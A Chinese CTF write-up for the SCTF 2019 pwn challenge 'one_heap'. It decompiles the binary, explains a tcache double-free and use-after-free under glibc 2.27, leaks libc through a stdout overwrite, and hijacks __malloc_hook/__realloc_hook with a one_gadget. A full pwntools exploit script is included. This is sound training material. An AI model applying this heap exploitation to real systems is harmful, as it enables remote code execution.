

one_heap

发表于 2021-01-04 分类于 [Challenge](#), [2019](#), [SCTF](#), [Pwn](#)
Challenge | 2019 | SCTF | Pwn | one_heap

[点击此处](#)获得更好的阅读体验

解题思路

题目看起来并不难，逻辑很简单，并且给了libc是2.27的所以自然的联想到又tcache，接下来进行详细的分析。

静态分析

main

逻辑很简单这里我进行了一个函数名的改变看起来清楚一点

```
1 void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
2 {
3     int i; // eax
4     flash();
5     while ( 1 )
6     {
7         for ( i = menu(); i != 1; i = menu() )
8         {
9             if ( i != 2 )
10                exit(0);
11            delete();
12        }
13        add(a1, a2);
14    }
15 }
```

menu

简单的choice逻辑没有什么问题

```
1 __int64 sub_C70()
2 {
3     unsigned __int64 v0; // ST08_8
4     __int64 result; // rax
5     unsigned __int64 v2; // rt1
6     v0 = __readfsqword(0x28u);
7     puts("1. new");
8     puts("2. delete");
9     _printf_chk(1LL, "Your choice:");
10    v2 = __readfsqword(0x28u);
11    result = v2 ^ v0;
12    if ( v2 == v0 )
13        result = sub_C10();
14    return result;
15 }
```

delete

这里是主要的问题点，存在一个uaf的漏洞但是同样对free的次数存在限制总共只能free 4次，然后free的时候是没有idx选择，每次ptr位置只有一个堆块的地址。

```

1 unsigned __int64 sub_D90()
2 {
3     unsigned __int64 v1; // [rsp+8h] [rbp-10h]
4     v1 = __readfsqword(0x28u);
5     if ( !dword_202014 )
6         exit(0);
7     free(ptr);
8     puts("Done!");
9     --dword_202014;
10    return __readfsqword(0x28u) ^ v1;
11 }

```

add

这里任意malloc的大小存在限制，并且malloc的数量也是固定的，然后malloc后可以读入堆。

```

1 unsigned __int64 add()
2 {
3     unsigned int v0; // eax
4     size_t v1; // rbx
5     unsigned __int64 v3; // [rsp+8h] [rbp-10h]
6     v3 = __readfsqword(0x28u);
7     if ( !dword_202010 )
8 LABEL_5:
9         exit(0);
10    _printf_chk(1LL, "Input the size:");
11    v0 = sub_C10(1LL, "Input the size:");
12    v1 = (signed int)v0;
13    if ( v0 > 0x7F )
14    {
15        puts("Invalid size!");
16        goto LABEL_5;
17    }
18    _printf_chk(1LL, "Input the content:");
19    ptr = malloc(v1);
20    sub_B70(ptr, v1);
21    puts("Done!");
22    --dword_202010;
23    return __readfsqword(0x28u) ^ v3;
24 }

```

思路分析

1. 因为存在tcache所以这里double free利用起来会比较顺手，但是存在一个问题如何去leak。这里参考了HITCON2018的baby_tcache的leak思路，是利用覆盖stdout的write_buf实现的。
2. 还有个问题如何能染tcache被malloc到那个位置，这里我采用的是利用堆和code段偏移来爆破几率大概是在1/4096，这个几率真的看脸了。。。
3. 再去改写malloc_hook，这里会发现3个one都没有办法用，所以只能用realloc的trick来调整栈去getshell。

这里调试可以把本地随机化关了，如果预期解是这样的话。。我就真的没话说了，如果这是非预期。。（对不住了出题人。。）

EXP

```

1 from pwn import*
2 context.log_level = "debug"
3 p = process("./one_heap")
4 a = ELF("./libc-2.27.so")
5 #p = remote("47.104.89.129",10001)
6 gdb.attach(p)
7 def new(size,content):
8     p.recvuntil("Your choice:")
9     p.sendline("1")
10    p.recvuntil("Input the size:")
11    p.sendline(str(size))
12    p.recvuntil("Input the content:")
13    p.sendline(content)
14 def remove():
15    p.recvuntil("Your choice:")
16    p.sendline("2")
17 def new0(size,content):
18    p.recvuntil("Your choice:")
19    p.sendline("1")
20    p.recvuntil("Input the size:")
21    p.sendline(str(size))
22    p.recvuntil("Input the content:")
23    p.send(content)
24 new(0x60,"aaa")
25 remove()
26 remove()
27 new(0x60,"\x20\x60")
28 new(0x60,"b")
29 raw_input()
30 new(0x60,"\x60\x07")
31 pay = p64(0xfbad1880) + p64(0)*3 + "\x00"
32 new(0x60,pay)
33 libc_addr = u64(p.recvuntil("\x7f")[8:8+6].ljust(8,"\x00"))-0x3ed8b0
34 print hex(libc_addr)
35 malloc_hook = a.symbols["__malloc_hook"]+libc_addr
36 realloc_hook = a.symbols["__realloc_hook"]+libc_addr
37 print hex(malloc_hook)
38 one = 0x4f2c5+libc_addr
39 print one
40 new(0x50,"a")
41 remove()
42 remove()
43 new(0x50,p64(realloc_hook))
44 new(0x50,"peanuts")
45 new(0x50,p64(one)+p64(libc_addr+a.sym['realloc']+0xe))
46 print hex(one)
47 new(0x30,"b")
48 p.interactive()

```

- 本文作者: CTFHub
- 本文链接: <https://writeup.ctfhub.com/Challenge/2019/SCTF/Pwn/iTVBE1CY4fAkYZ4sxYAgy.html>
- 版权声明: 本博客所有文章除特别声明外, 均采用 [BY-NC-SA](#) 许可协议。转载请注明出处!

[#Challenge](#) [#Pwn](#) [#2019](#) [#SCTF](#)
[easywasm](#)
[two_heap](#)